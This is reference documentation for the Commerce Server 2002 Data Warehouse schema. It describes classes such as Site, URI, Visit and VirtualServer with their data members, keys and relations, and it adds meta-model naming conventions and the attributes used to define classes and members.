This class represents a binding to a server for a virtual server. A VirtualServer object links to one or more ServerBinding objects.

Data Members

Data Member Name | Data Type | Default Value | Description
HostHeaderName | WSTR | Unknown | Key member.
IPAddress | WSTR | 0.0.0.0 | Key member.
IPPort | LONG | 0 | Key member.
IsSecureBinding | SHORT | None | None.
VServerName | WSTR | Unknown | Key member.

Class Key

ServerBindingKey is composed of the following data members:

HostHeaderName + IPAddress + IPPort + VServerName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
VirtualServerServerBindingRel | VirtualServer | ServerBinding | 2


ServerGroup

This class represents server groups. A ServerGroup object links to one or more VirtualServer objects.

Data Members

Data Member Name | Data Type | Default Value | Description
LogFileCodePage | LONG | 0 | None
LogFileDir | WSTR | None | Stores the default directory used to store log files for the server group.
LogFormatID | LONG | None | None
ServerGroupName | WSTR | Unknown | Stores the unique key for the object.
Timezone | LONG | None | Stores a code indicating the time zone for the server group.
URLEncodingCodePage | LONG | 0 | None

Class Key

ServerGroupKey is composed of a single data member, ServerGroupName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
ServerGroupLogImportSubtaskRel | ServerGroup | LogImportSubtask | 2
ServerGroupVirtualServerRel | ServerGroup | VirtualServer | 2


Site

This class represents a Commerce Server 2002 Web site. All logged information pertaining to the use of a Commerce Server 2002 Web site is stored in or connected to a Site object. The Uniform Resource Locator (URL) for the site is a composition of a SiteURL object and a URI object.

The site may be part of a virtual server group. In this case, the site connects to a VirtualServer object through a SiteURL object. A business transaction may occur through a Uniform Resource Identifier (URI) query; this is represented by a link between one or more Request objects and the URI object. Any visits to the site are linked through one or more Visit objects. If the site has a crawler associated with it, a Crawler object is created and linked to the Site object.

Data Members

Data Member Name | Data Type | Default Value | Description
CookieIdentifiers | WSTR | None | None.
EndImportAction | LONG | None | Stores a code for the action taken when a log import ends.
IsAdjustTimeStamps | SHORT | None | Indicates if the timestamps in the log data are adjusted for the site.
IsDotNetCookieLessEnabled | SHORT | 0 | None.
IsExcludeSpiders | SHORT | None | Indicates if the site object excludes spiders.
IsSeparateUriAndQueryString | SHORT | None | None.
IsUseCookiesForInferences | SHORT | None | Indicates if the site object uses cookies for inferences.
IsUseUPMCookiesForInferences | SHORT | None | None.
IsUseUsernameForInferences | SHORT | None | Indicates if the site uses user names for inferences.
OverlapAction | LONG | None | Stores a code for the action taken when log files for the site overlap.
OverlapMins | LONG | None | Stores the number of minutes that consecutive log files for the site overlap between imports.
RetryCount | SHORT | 0 | Stores the number of retry attempts.
RetryExhaustAction | SHORT | 1 | None.
SiteName | WSTR | Unknown | Stores the unique key for the site.
TimeZone | LONG | None | Stores a code for the time zone of the site.
VisitTimeout | LONG | None | Stores the time limit (in minutes) applied to visits on the Site object.
WeekStartDay | SHORT | None | Stores the day the week starts on.

Class Key

SiteKey is composed of a single data member, SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CatalogSite | Site | CatalogGlobal | 3
OrderGroupSite | Site | OrderGroup | 2
SiteAddressRel | Site | Address | 3
SiteBasket | Site | Basket | 2
SiteCampaignEvent | Site | CampaignEvent | 2
SiteCrawlerRel | Site | Crawler | 2
SiteFirstUriByDate | Site | FirstUriByDate | 2
SiteHitsByHour | Site | HitsByHour | 2
SiteHitsInfo | Site | HitsInfo | 2
SiteLastUriByDate | Site | LastUriByDate | 2
SiteLogImportJobSummaryRel | Site | LogImportJobSummary | 2
SiteLogImportSubtaskRel | Site | LogImportSubtask | 2
SiteOpenUserVisitRel | Site | OpenUserVisit | 2
SiteOrder | Site | Order | 2
SiteRegisteredUserRel | Site | RegisteredUser | 3
SiteRequestByDateByUriByQueryString | Site | RequestByDateByUriByQueryString | 2
SiteRequestRel | Site | Request | 2
SiteSiteSummaryRel | Site | SiteSummary | 2
SiteSiteURIRel | Site | SiteURL | 2
SiteTermSiteRel | Site | SiteTerm | 3
SiteVisitInfoRel | Site | VisitInfo | 2
SiteVisitRel | Site | Visit | 2


SiteSummary

This class stores summary information, such as total visits and total hits, pertaining to a site.

Data Members

Data Member Name | Data Type | Default Value | Description
EndTime | FILETIME | None | Records when the summary finished.
SiteName | WSTR | Unknown | Stores the unique key for the object.
StartTime | FILETIME | None | Records when the summary was started.
TotalBadServerCount | LONG | None | Stores the total number of bad server connections to the site.
TotalBadSiteCount | LONG | None | Stores the total number of bad site connections to the site.
TotalExcludeCriteriaCount | LONG | None | Stores the total of exclude criteria for the site.
TotalExcludeHostCount | LONG | None | Stores the total number of hosts excluded from the site.
TotalHits | LONG | None | Stores the total number of hits on the site.
TotalImportHits | LONG | None | Stores the total number of import hits on the site.
TotalMatchCrawlerCount | LONG | None | Stores the total number of crawler matches on the site.
TotalVisits | LONG | None | Stores the total number of visits to the site.

Class Key

SiteSummaryKey is composed of a single data member, SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteSiteSummaryRel | Site | SiteSummary | 2


SiteTerm

This class contains the site terms used by reports for a Commerce Server site. The site terms are populated in the Data Warehouse by the Profile Data Import DTS task.

Data Members

Data Member Name | Data Type | Default Value | Description
LocaleID | LONG | None | None.
SiteName | WSTR | None | None.
SiteTermDescription | WSTR | None | None.
SiteTermKey | NVARCHAR | {00000000-0000-0000-0000-000000000000} | Key member.
SiteTermName | NVARCHAR | None | None.
SiteTermOrdinal | NVARCHAR | None | None.
SiteTermType | NVARCHAR | None | None.

Class Key

SiteTermKey is composed of a single data member, SiteTermKey.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteTermRegisteredUserRel | SiteTerm | RegisteredUser | 2
SiteTermSiteRel | Site | SiteTerm | 3
SiteTermSiteTermDescriptionRel | SiteTermDescription | SiteTerm | 2


SiteTermDescription

This class contains the site term descriptions used by reports for a Commerce Server site. The site term descriptions are populated in the Data Warehouse by the Profile Data Import DTS task.

Data Members

Data Member Name | Data Type | Default Value | Description
SiteTermDescription | NVARCHAR | None | Key member.

Class Key

SiteTermDescriptionKey is composed of a single data member, SiteTermDescription.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteTermSiteTermDescriptionRel | SiteTermDescription | SiteTerm | 2


SiteURL

This class represents a Uniform Resource Locator (URL)-based connection between sites and virtual servers. The relationship between a Web site and a virtual server is represented by a link to a Site object and a link to a VirtualServer object.

The SiteURL object stores the first portion, or top level, (for example, the domain name) of a site. If needed, a URI object is linked to the SiteURL object to form the entire URL for the site.

If there are any query strings (SVQStringName or MVQStringName objects) associated with the site URL, they will be linked to the SiteURL object using the LinkSVQStringName or LinkMVQStringName objects.

Data Members

Data Member Name | Data Type | Default Value | Description
ExcludeCriteria | WSTR | None | Stores the exclude criteria for the URL.
ExcludeHosts | WSTR | None | Stores the hosts excluded from access through the URL.
GoodStatusCodes | WSTR | None | None.
IncludeCriteria | WSTR | None | None.
IsChopTopLevelDir | SHORT | None | Indicates if the top-level directory is cut from the URL.
SiteName | WSTR | None | None.
URL | WSTR | None | Stores the first portion, or top level, of a site. Stores the URL as the unique key for the object.
URLExt | WSTR | None | Stores the extended data for the URL.
VServerName | WSTR | None | None.

Class Key

SiteURLKey is composed of a single data member, URL.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteSiteURIRel | Site | SiteURL | 2
SiteURLLinkMVQStringNameRel | SiteURL | LinkMVQStringName | 2
SiteURLLinkSVQStringNameRel | SiteURL | LinkSVQStringName | 2
VirtualServerSiteURLRel | VirtualServer | SiteURL | 3


SVQStringName

This class represents custom single-valued query strings associated with a Uniform Resource Locator (URL). An SVQStringName object associates with a SiteURL object through a LinkSVQStringName object.

Data Members

Data Member Name | Data Type | Default Value | Description
QStringName | WSTR128 | DEFAULT | Stores the unique key for the object. Key member.

Class Key

SVQStringNameKey is composed of a single data member, QStringName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SVQStringNameLinkSVQStringNameRel | SVQStringName | LinkSVQStringName | 2


Target

This class defines a target for marketing and custom Web content, such as a particular type of user. A TargetGroup object links to one or more Target objects to form target groups. The custom content for the group of targets links to the TargetGroup object through a TargetGroupXRef object.

Data Members

Data Member Name | Data Type | Default Value | Description
SiteName | WSTR | Unknown | Stores the site name associated with the object. Key member.
TargetAction | LONG | None | Stores the action code for the target.
TargetExprID | LONG | None | Stores the expression ID for the target.
TargetGroupNum | LONG | 0 | None.
TargetNum | LONG | 0 | Stores the unique key for the object. Key member.

Class Key

TargetKey is composed of the following data members:

TargetNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
TargetGroupTarget | TargetGroup | Target | 2


TargetGroup

This class defines a group of targets for marketing and custom Web content. One or more Target objects linked with a TargetGroup object forms a target group. A target group links to the content for the group through a TargetGroupXRef object.

Data Members

Data Member Name | Data Type | Default Value | Description
SiteName | WSTR | Unknown | Stores the site associated with the object. Key member.
TargetGroupName | WSTR | None | Stores the name of the group of targets.
TargetGroupNum | LONG | 0 | Stores the unique key for the object. Key member.

Class Key

TargetGroupKey is composed of the following data members:

TargetGroupNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
TargetGroupTarget | TargetGroup | Target | 2
TargetGroupTargetGroupXrefRel | TargetGroup | TargetGroupXRef | 2


TargetGroupXRef

This class cross-references a target group with the custom content for the target group. Target objects form target groups by linking with a TargetGroup object. The custom content, represented by a CampaignItem object, links to the TargetGroup object through the TargetGroupXRef object.

Data Members

Data Member Name | Data Type | Default Value | Description
CampItemNum | LONG | 0 | Key member.
SiteName | WSTR | None | Stores the name of the site associated with the object.
TargetGroupNum | LONG | 0 | Key member.

Class Key

TargetGroupXrefKey is composed of the following data members:

CampItemNum + TargetGroupNum.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignItemTargetGroupXRefRel | CampaignItem | TargetGroupXRef | 2
TargetGroupTargetGroupXRefRel | TargetGroup | TargetGroupXRef | 2


TaskHistory

This class tracks Data Transformation Services (DTS) task execution and the outcome of the execution. It maintains a history of all the imports (and deletes) that have occurred within the Data Warehouse.

Data Members

Data Member Name | Data Type | Default Value | Description
CommerceSiteName | WSTR | None | None.
Description | WSTR | None | None.
DetailLevel | WSTR | None | None.
EndTime | FILETIME | None | None.
LogImportSubTaskID | LONG | None | None.
NumberOfTries | LONG | None | None.
OlapExport | SHORT | None | None.
OperationDetailID | LONG | None | None.
OperationID | LONG | None | None.
PercentageComplete | LONG | 0 | Specifies the percentage of the Web Log Import tasks that is complete.
SourceInfo | WSTR | None | None.
StartTime | FILETIME | None | None.
Status | LONG | None | None.
TaskID | LONG | 0 | Stores the unique key for the object.

Class Key

TaskHistoryKey is composed of a single data member, TaskID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
TaskHistoryBasket | TaskHistory | Basket | 2
TaskHistoryCampaignEvent | TaskHistory | CampaignEvent | 2
TaskHistoryFirstUriByDate | TaskHistory | FirstUriByDate | 2
TaskHistoryHitsByHour | TaskHistory | HitsByHour | 2
TaskHistoryHitsInfo | TaskHistory | HitsInfo | 2
TaskHistoryLastUriByDate | TaskHistory | LastUriByDate | 2
TaskHistoryLogImportJobSummaryRel | TaskHistory | LogImportJobSummary | 2
TaskHistoryLogImportSubtaskRel | TaskHistory | LogImportSubtask | 2
TaskHistoryOpenUserVisitRel | TaskHistory | OpenUserVisit | 2
TaskHistoryOrder | TaskHistory | Order | 2
TaskHistoryRequestByDateByUriByQueryString | TaskHistory | RequestByDateByUriByQueryString | 2
TaskHistoryRequestRel | TaskHistory | Request | 2
TaskHistoryVisitInfoRel | TaskHistory | VisitInfo | 2
TaskHistoryVisitRel | TaskHistory | Visit | 2


URI

This class represents Uniform Resource Identifiers (URIs) used to distinguish a Uniform Resource Locator (URL), as well as to make queries and transactions on Commerce Server 2002 Web sites. A URI object associates with the Commerce Server 2002 Web site through a SiteURL object.

A site is identified by a SiteURL object, which stores the first portion, or top level, (for example, the domain name) of a site and a linked URI object, which stores the remainer of the URL for the site. If the URI object represents a hierarchical directory structure, it will be linked to the appropriate LevelNDir objects.

A business transaction may occur through a URI query; this is represented by a link between one or more Request objects and the URI object.

A URI object represents a page only, not graphics, banners, or content pieces.

Because the LogUser, URI, and URIQuery classes are the largest classes in the Data Warehouse, they have been altered to increase their performance. These classes do not have formal reldef relationships, instead they have an application-specific relationship with their children. This relationship is defined in the schema for completeness and purposes of discovery through the provider, but is not used by the storage engine of the OLE DB Provider for Commerce Server for writing parent instances. In application-specific relationships, the joining between the child and parent is not through the parentID, URIID, but through the bigint 8 byte URIKey. Then the parentID, URIID, is set to a constant, 999.

If the URI class has a multi-value member, or if the class is involved in a many-to-many relationship, the URIID is populated just like any other dimension. The linking table would use the IDs as the linking key, but the child classes would still join them through the QueryStringKey.

When adding a new relation to this class, you must update the stored procedure invoked for deleting orphans. Deleting information from this table without deleting orphans is not supported. For more information about updating the stored procedure, see Deleting Orphan Data from the Data Warehouse.

This class cannot be changed to be updateable. In the ClsDef table, the IsTransactioned field for this class cannot be changed form 1 to 0.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName1 | WSTR | / | None.
DirName2 | WSTR | Inherited | None.
DirName3 | WSTR | Inherited | None.
DirName4 | WSTR | Inherited | None.
DirName5 | WSTR | Inherited | None.
DirName6 | WSTR | Inherited | None.
Title | WSTR | None | Stores a title for the URI.
URI | WSTR | None | Stores the unique key for the object.
URIKey | UUID | {00000000-0000-0000-0000-000000000000} | Stores the hash value of the URI.

Class Key

URIKey is composed of a single data member, URIKey.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
LevelDirURIRel | LevelDir | URI | 2
UriBasket | URI | Basket | 5
UriCampaignEvent | URI | CampaignEvent | 5
UriFirstUriByDate | URI | FirstUriByDate | 5 (Key is FirstUriKey)
UriHitsInfo | URI | HitsInfo | 5
UriLastUriByDate | URI | LastUriByDate | 5 (Key is LastUriKey)
URILevel1Dir2 | Level1Dir | URI | 2
URILevel2Dir3 | Level2Dir | URI | 2
URILevel3Dir4 | Level3Dir | URI | 2
URILevel4Dir5 | Level4Dir | URI | 2
URILevel5Dir6 | Level5Dir | URI | 2
URILevel6Dir7 | Level6Dir | URI | 2
UriOpenUserVisit1 | URI | OpenUserVisit | 5 (Key is FirstUriKey)
UriOpenUserVisit2 | URI | VisitInfo | 5 (Key is SecondUriKey)
UriOpenUserVisit3 | URI | VisitInfo | 5 (Key is LastUriKey)
UriOrder | URI | Order | 5
UriRequest | URI | Request | 5
UriRequestByDateByUriByQueryString | URI | RequestByDateByUriByQueryString | 5
UriVisitInfo1 | URI | VisitInfo | 5 (Key is FirstUriKey)
UriVisitInfo2 | URI | VisitInfo | 5 (Key is SecondUriKey)
UriVisitInfo3 | URI | VisitInfo | 5 (Key is LastUriKey)


URIQuery

This class represents a Uniform Resource Identifier (URI) query associated with one or more transaction requests. A URIQuery object links to one or more Request objects.

Because the LogUser, URI, and URIQuery classes are the largest classes in the Data Warehouse, they have been altered to increase their performance. These classes do not have formal reldef relationships, instead they have an application-specific relationship with their children. This relationship is defined in the schema for completeness and purposes of discovery through the provider, but is not used by the storage engine of the OLE DB Provider for Commerce Server for writing parent instances. In application-specific relationships, the joining between the child and parent is not through the parentID, URIQueryID, but through the bigint 8 byte URIStringKey. Then the parentID, URIQueryID, is set to a constant, 999.

If the URIQuery class has a multi-value member, or if the class is involved in a many-to-many relationship, the URIQueryID is populated just like any other dimension. The linking table would use the IDs as the linking key, but the child classes would still join them through the QueryStringKey.

When adding a new relation to this class, you must update the stored procedure invoked for deleting orphans. Deleting information from this table without deleteing orphans is not supported. For more information about updating the stored procedure, see Deleting Orphan Data from the Data Warehouse.

This class cannot be changed to be updateable. In the ClsDef table, the IsTransactioned field for this class cannot be changed form 1 to 0.

Data Members

Data Member Name | Data Type | Default Value | Description
QueryString | WSTR | No query string | Stores the unique key for the object.
QueryStringKey | INT64 | 0 | Key member.

Class Key

UriQueryKey is composed of a single datamember, QueryStringKey.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
UriQueryRequest | UriQuery | Request | 5
UriQueryRequestByDateByUriByQueryString | UriQuery | RequestByDateByUriByQueryString | 5


UserAgent

This class represents the software infrastructure, such as the operating system and browser, used by a user in a visit to a Web site. A UserAgent object links to one or more Request objects and one or more VisitInfo objects.

Data Members

Data Member Name | Data Type | Default Value | Description
Processed | BOOL | 0 | None.
UserAgentBrowserCategoryID | ULONG | 1 | None.
UserAgentName | WSTR | Unknown | Stores the unique key for the object.
UserAgentOperatingSystemID | ULONG | 1 | None.
UserAgentPortalID | ULONG | 1 | None.
UserAgentSecurityID | ULONG | 1 | None.
UserAgentVersionID | ULONG | 1 | None.

Class Key

UserAgentKey is composed of a single data member, UserAgentName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
UserAgentOpenUserVisit | UserAgent | OpenUserVisit | 2
UserAgentRequest | UserAgent | Request | 2
UserAgentVisitInfo | UserAgent | VisitInfo | 2


VirtualServer

This class represents a virtual server, which logically binds independent Web sites to one or more servers.

The Web sites associated with the virtual server are represented through a set of SiteURL objects. The binding to a server occurs through association with one or more ServerBinding objects.

The VirtualServer object may be a part of a larger group of servers. If this occurs, the VirtualServer objects will be linked through a ServerGroup object.

If business transactions are made through a Uniform Resource Identifier (URI) to the virtual server, a Request object is linked through the appropriate SiteURL and URI objects.

Data Members

Data Member Name | Data Type | Default Value | Description
Description | WSTR | None | Stores a description of the virtual server.
DirIndexes | WSTR | None | Stores the directory indices for the virtual server.
LocalDomain | WSTR | None | Stores the name of the local domain for the virtual server.
ServerGroupName | WSTR | Unknown | None.
VServerName | WSTR | Unknown | Stores the unique name of the IIS virtual server.
VServerType | LONG | None | Stores a code for the type of IIS virtual server.

Class Key

VirtualServerKey is composed of a single data member, VServerName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
ServerGroupVirtualServerRel | ServerGroup | VirtualServer | 2
VirtualServerServerBindingRel | VirtualServer | ServerBinding | 2
VirtualServerSiteURLRel | VirtualServer | SiteURL | 3


Visit

This class records information describing user activity on a Commerce Server 2002 Web site. A Visit object is associated with a LogUser object and a Site object. The LogUser object contains information about the user. A Visit object describes the context of a visit, including the time and date of the visit.

Data Members

Data Member Name | Data Type | Default Value | Description
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
Timestamp | FILETIME | None | Records the time the visit started.
UserKey | INT64 | 0 | None.
VisitNum | IDENTITY | 0 | Stores the unique key for the object.

Class Key

VisitKey is composed of a single data member, VisitNum.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteVisitRel | Site | Visit | 2
TaskHistoryVisitRel | TaskHistory | Visit | 2
UserVisit | LogUser | Visit | 5
VisitBasketRel | Visit | Basket | 5
VisitCampaignEventRel | Visit | CampaignEvent | 5
VisitOrderRel | Visit | Order | 5
VisitRequestRel | Visit | Request | 5


VisitInfo

This class represents information about a completed visit to a Web site. If a visit has not been completed at log import time, an OpenUserVisit object is instantiated instead.

The VisitInfo class is the primary structure for recording user activity on a Commerce Server 2002 Web site. A person who interacts with a Commerce Server 2002 Web site is called a user. The VisitInfo class records information describing user activity.

A VisitInfo object is associated with a LogUser object and a UserAgent object. The LogUser object contains information on the user. The UserAgent object contains information describing the software and computer the user is using.

A VisitInfo object describes the context of a visit, including the time and date of the visit. The VisitInfo object links to a Date structure that contains date information.

Data Members

Data Member Name | Data Type | Default Value | Description
CountOfRequest | ULONG | None | Number of requests in this visit.
DTimestamp | FILETIME | None | First timestamp of visit.
Duration | ULONG | None | Duration of visit.
FirstRequestNum | IDENTITY | None | Foriegn key to Request of first request in visit.
FirstTimeStamp | FILETIME | None | Stores the time the visit started.
FirstUriKey | INT64 | 0 | None.
LastRequestNum | IDENTITY | None | Foriegn key to Request of last request in visit.
LastUriKey | INT64 | 0 | None.
ReferrerDomainName | WSTR | Unknown | Domain name of referrer of visit.
SecondRequestNum | IDENTITY | None | None.
SecondUriKey | INT64 | 0 | None.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
UserAgentName | WSTR | Unknown | None.
UserID | WSTR | Unknown | None.
UserKey | INT64 | 0 | None.
VisitNum | IDENTITY | 0 | Stores the unique key for the object. Key member.

Class Key

VisitInfoKey is composed of a single data member, VisitNum.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateVisitInfoFirstTimeStamp | Date | VisitInfo | 2
ReferrerDomainVisitInfo | ReferrerDomain | VisitInfo | 2
RegisteredUserVisitInfoRel | RegisteredUser | VisitInfo | 2
SiteVisitInfoRel | Site | VisitInfo | 2
TaskHistoryVisitInfoRel | TaskHistory | VisitInfo | 2
UserAgentVisitInfo | UserAgent | VisitInfo | 2


Win32Status

This class represents the Win32 status codes as stored in the Web log file.

Data Members

Data Member Name | Data Type | Default Value | Description
Win32Status | ULONG | 0 | Stores the unique key for the object.

Class Key

Win32StatusKey is composed of a single data member, Win32Status.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Win32StatusHitsInfo | Win32Status | HitsInfo | 2
Win32StatusRequest | Win32Status | Request | 2


Data Warehouse Meta-model

The meta-model of the Commerce Server 2002 Data Warehouse is a set of definitions used to construct the Data Warehouse logical schema, and map that logical schema to a physical schema. These definitions, or meta-data, describe classes, data members, relations, and keys, which are abstractions of SQL tables, columns and foreign key relations. The primary purpose of the meta-data is to separate the logical schema from the physical schema. You can access and extend the logical schema without having detailed knowledge of the underlying physical store.

Using the values given to the meta-data objects, the OLE DB Provider for Commerce Server creates the physical tables and columns to store the user data. The OLE DB Provider for Commerce Server ensures consistency and simplifies the use of the Data Warehouse. For information about creating a new class of objects, see Extending the Data Warehouse Logical Schema.

Caution

  • To avoid damaging the schema, use the OLE DB Provider for Commerce Server to access objects.
  • When attempting to access the meta-data tables through Microsoft ActiveX Data Objects (ADO), fields appear in the returned Record object in addition to those listed in the tables. ADO does not recognize the objects contained in these fields and produces a run-time error. To access these objects, use OLE DB Provider for Commerce Server. The following is a partial list of these columns (ADO Field objects):

    __COMMIT, __NEXT, ALLMEMBERS, ATTRIBUTES, CHILDCLSDEF, CHILDREFMEMDEF, CLASSGUID, CLASS, DEFAULTVIEW, KEYDEFINITIONS, KEYMEMBERS, MEMBER, MEMDEFS, MEMNONREFDEFS, PARENTCLASSES, PARENTCLSDEF, PARENTKEYDEF, PERSISTENTKEYMEMBERS, REFERENCEMEMBERS, REFMEMBERS, RELMEMBERDEFS, TOPLEVELMEMBERS

This section contains:

  • Data Warehouse Name and Value Conventions. Describes the values used in the meta-data tables.
  • Class Definition Meta-data. Describes the attributes used for the class definitions.
  • Member Definition Meta-data. Describes the attributes used for the class member definitions.
  • Key Definition Meta-data. Describes the attributes used for the class key definitions.
  • Key Member Definition Meta-data. Describes the attributes used for the key member definitions.
  • Relation Definition Meta-data. Describes the attributes used for the class relation definitions.
  • Relation Member Definition Meta-data. Describes the attributes used for the class member relation definitions.


Data Warehouse Name and Value Conventions

Conventions for Class/Member/Key/Relation Names

Characters

  • The first character must be one of the following:
    • A letter as defined by the Unicode Standard 2.0. The Unicode definition of letters includes Latin characters from a through z and from A through Z, in addition to letter characters from other languages.
    • The underscore (_), "at" sign (@), or number sign (#).

      Certain symbols at the beginning of an identifier have special meaning in SQL Server. An identifier beginning with the "at" sign denotes a local variable or parameter. An identifier beginning with a number sign denotes a temporary table or procedure. An identifier beginning with double number signs (##) denotes a global temporary object.

      Some Transact-SQL functions have names that start with double at signs (@@). To avoid confusion with these functions, it is recommended that you do not use names that start with @@.

  • Subsequent characters can be:
    • Letters as defined in the Unicode Standard 2.0.
    • Decimal numbers from either Basic Latin or other national scripts.
    • The "at" sign, dollar sign ($), number sign, or underscore.
  • The identifier must not be a Transact-SQL reserved word. SQL Server reserves both the uppercase and lowercase versions of reserved words.

Size

  • Class names created through the provider in FastLoad mode are limited to 57 characters.
  • Member names created through the provider in FastLoad mode are limited to 100 characters.
  • Key names are limited to 128 characters.
  • Relation names are limited to 128 characters.

Conventions for Class/Member/Key/Relation Values

  • Key values should be less than 450 wide characters. SQL requires key values to be less than 900 bytes, which is equivalent to 450 wide characters.
  • A key can have up to 16 members.
  • Currency member values should only use the decimal point. Comma-separated values and locale symbols, such as $, are not allowed.


Class Definition Meta-data

The Class meta-data contains attributes used to define a class. The OLE DB Provider for Commerce Server creates the tables and links required to store the class information based on the attribute values. A class defines a set of logically related data. Classes model physical objects (user, product, server, organization) or conceptual entities (visit, Web hit, event).

For an overview of the logical grouping of these classes into primary business categories, see Dividing the Data Warehouse into Primary Business Categories.

For information about creating a new class, see Creating a New Class.

The following table shows the attributes used for the class definitions. A set of these attributes is stored in the Class table for each class defined.

The following terminology describes the attribute requirements listed in the following table.

  • A value in quotes is required and must be supplied by the user.
  • An unquoted value indicates the default, which can be overridden by the user.
  • "Leave blank" indicates that the attribute should not be assigned.
  • "Optional" indicates that the value is user-assigned but can be left blank.
  • "Required" indicates that the value is user-assigned and required.
Attribute | Data Type | Constraint | Requirement | Description
ClassDefID | int | NOT NULL | Leave blank | Stores the internal identifier for the class.
BaseClassName | nvarchar (128) | NULL | Optional | Stores the name of the base class. Used for aggregations.
CatalogID | int | NULL | Leave blank | Stores the identifier for the schema catalog.
CatalogName | nvarchar (128) | NULL | Leave blank | Stores the name of the schema catalog, "DWSchema."
ClassDefName | nvarchar (57) | NULL | Required | Stores the name of the class.
ClassGUID | varbinary (16) | NULL | Leave blank | Stores the GUID for the class.
ClassType | smallint | NULL | Optional | Stores the class type. Valid types are: 0 = None 1 = Dimension 2 = Fact 3 = Aggregation
CreatedTime | datetime | NULL | Reserved | Stores the time the class was created.
DefaultParentURL | nvarchar (128) | NULL | Leave blank | Stores the default parent URL for the class.
DefaultTableName | nvarchar (57) | NULL | Leave blank | Stores the default table name associated with the class.
Description | nvarchar (128) | NULL | Optional | Stores the description of the object.
DisplayName | nvarchar (128) | NULL | Optional | Stores the display name of the object.
GenerateIdentity | tinyint | NULL | Leave blank | True (1) indicates the ID for the class will be generated automatically.
GenerateKeyDef | tinyint | NULL | Required | Set to True (1) if this class key has a single member. Set the IsPrimaryKey attribute to True (1) for the member. If this class key has more than one key member, a key definition must be explicitly defined.
GeneratePartitionDef | tinyint | NULL | Leave blank | True (1) indicates the partition definition will be generated automatically.
GenerateTableDef | tinyint | NULL | Leave blank | True (1) indicates the table definition will be generated automatically.
IdSize | int | NULL | Leave blank | Stores the size of the identifier data in bytes.
InstExclusionExpr | nvarchar (128) | NULL | Optional | Used as a filter for aggregations.
IsAbstract | tinyint | NULL | Optional | Indicates if the class is abstract. Abstract classes cannot be instantiated, but can be derived from. Default value is False (0).
IsActive | tinyint | NULL | Optional | Indicates if the class is active (instances may be added). Default value is 1.
IsPersistent | tinyint | NULL | Optional | Indicates if the class is persisted in the underlying data store. Default value is 1.
IsReadOnly | tinyint | NULL | Optional | Indicates if the class is read-only. Default value is 0.
IsTransactioned | tinyint | NULL | Optional for PROFILING SYSTEM Leave blank for Analysis | Used by the Profiling System.
IsUIDeletedEnabled | tinyint | NULL | Reserved | Reserved.
MajorVersion | int | NULL | Reserved | Stores the major version number for the class.
MinorVersion | int | NULL | Reserved | Stores the minor version number for the class.
ModifiedTime | datetime | NULL | Reserved | Stores the last time the class was modified.
PartCriteriaExpr | nvarchar (128) | NULL | Leave blank | Reserved.
PartitionID | int | NULL | Leave blank | Reserved.
PartitionName | nvarchar (128) | NULL | Leave blank | Stores the name of the default partition for the class.
PartViewName | nvarchar (128) | NULL | Leave blank | Reserved.
SourceDefName | nvarchar (128) | NULL | Required | Stores the name of the data source. A class definition has a SourceDef to describe where the data for a class will be stored. The SourceDef for new classes should be set to test_source.
SourceID | int | NULL | Leave blank | Stores the identifier for the data source.
Status | int | NULL | Reserved | Reserved.


Member Definition Meta-data

The Member meta-data contains attributes that describe a data member of a class. The attributes of members include the name of the data member and the type of the data member. OLEDB Provider for Commerce Server populates the tables in the underlying store.

For information about creating a new data member for an existing class, see Creating a New Class Data Member.

The following table shows the attributes used for the data member definitions. A set of these attributes is stored in the Member table for each class member defined.

The following terminology describes the attribute requirements listed in the following table.

  • A value shown in quotes is required and must be supplied by the user.
  • An unquoted value indicates the default, which can be overridden by the user.
  • "Leave blank" indicates that the attribute should not be assigned.
  • "Optional" indicates that the value is user-assigned but can be left blank.
  • "Required" indicates that the value is user-assigned and required.
Attribute | Data Type | Constraint | Requirement | Description
MemberDefID | int | NOT NULL | Leave blank | Stores the internal identifier for the data member.
CatalogID | int | NULL | Leave blank | Stores the identifier for the schema catalog.
CatalogName | nvarchar (128) | NULL | Leave blank | Stores the name of the schema catalog, "DWSchema."
ClassDefID | int | NULL | Leave blank | Stores the internal identifier for the class.
ClassDefName | nvarchar (57) | NULL | Required | Stores the name of the containing class.
ColumnID | int | NULL | Leave blank | Stores the identifier of the column for the data member.
ColumnName | nvarchar (100) | NULL | Leave blank unless GenerateColumnDef = False. | Stores the name of the column for storing the data member.
CreatedTime | datetime | NULL | Reserved | Records when the data member definition was created.
DefaultValueAsStr | nvarchar (128) | NULL | Optional | Stores the default value of the data member as a string. If this is not NULL, the IsDfltNull attribute should be set to False (0).
Description | nvarchar (128) | NULL | Optional | Stores the description of the object.
DisplayName | nvarchar (128) | NULL | Optional | Stores the display name of the object.
ExpressionStr | nvarchar (128) | NULL | Optional | Used by aggregation classes. Stores the expression string using the data member. Can contain any valid base class member or aggregation function.
